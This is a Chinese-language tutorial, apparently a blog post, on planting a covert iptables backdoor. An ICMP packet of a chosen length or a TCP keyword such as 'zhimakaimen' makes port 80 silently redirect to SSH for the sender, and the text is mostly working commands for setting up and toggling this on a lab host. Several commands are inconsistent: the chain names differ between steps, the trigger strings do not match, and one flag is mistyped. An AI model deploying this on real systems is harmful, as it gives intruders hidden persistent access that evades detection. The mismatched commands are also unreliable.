目录
- 第一种方式:ICMP做遥控开关
- 1、创建端口复用链
- 2、创建端口复用规则,将流量转发至22端口
- 3、开启开关
- 4、关闭开关
- 5、let's do it
- 第二种方式:利用tcp数据包的关键字做遥控开关
- 1、端口复用链
- 2、端口复用规则(与上面一致)
- 3、开启开关
- 4、关闭开关
- 5、let's do it
第一种方式:ICMP做遥控开关
缺点在于如果目标在内网,无法直接ping到它
1、创建端口复用链
iptables -t nat -N HTTP_TO_SSH
我们可以查看是否创建
iptables -nvxL -t nat
2、创建端口复用规则,将流量转发至22端口
iptables -t nat -A HTTP_TO_SSH -p tcp -j REDIRECT --to-port 22
3、开启开关
如果接收到一个长为1139的ICMP包,则将来源IP添加为oupeng的列表中
iptables -t nat -A PREROUTING -p icmp --icmp-type 8 -m length --length 1139 -m recent --set --name oupeng --rsource -j ACCEPT
4、关闭开关
如果接收到一个长为1140的ICMP包,则将来源IP从oupeng列表中去掉
iptables -t nat -A PREROUTING -p icmp --icmp-type 8 -m length --length 1140 -m recent --name oupeng --remove -j ACCEPT
5、let’s do it
如果发现SYN包的来源IP处于oupeng列表中,将跳转到LETMEIN链进行处理,有效时间为3600秒
iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds 3600 --name oupeng --rsource -j HTTP_TO_SSH
如下图我们可以看见5个链ok了
开启复用前,WEB是可以访问的:
开启复用
ping -c 1 -s 1111 192.168.81.130
向目标发送一个长度为1111的ICMP数据包(加上包头28,总长度实际为1139)
如下图,我们可以看到用ssh可以登陆到端口80上
关闭复用
ping -c 1 -s 1112 192.168.81.130
向目标发送一个长度为1112的ICMP数据包(加上包头28,总长度实际为1140)
第二种方式:利用tcp数据包的关键字做遥控开关
优点在于不怕目标在内网
1、端口复用链
2、端口复用规则(与上面一致)
3、开启开关
iptables -A INPUT -p tcp -m string --string 'zhimakaimen' --algo bm -m recent --set --name oupeng --rsource -j ACCEPT
4、关闭开关
iptables -A INPUT -p tcp -m string --string 'zhimaguanmen' --algo bm -m recent --name oupeng --remove -j ACCEPT
5、let’s do it
iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds 3600 -name oupeng --rsource -j LETMEIN
开机复用,开启后本机到目标80端口的流量将转发至目标的SSH,80将无法在被本机访问:
echo threathuntercoming | socat - tcp:192.168.81.130
关闭复用,关闭后,80回复正常:
echo threathunterleaving | socat - tcp:192.168.81.130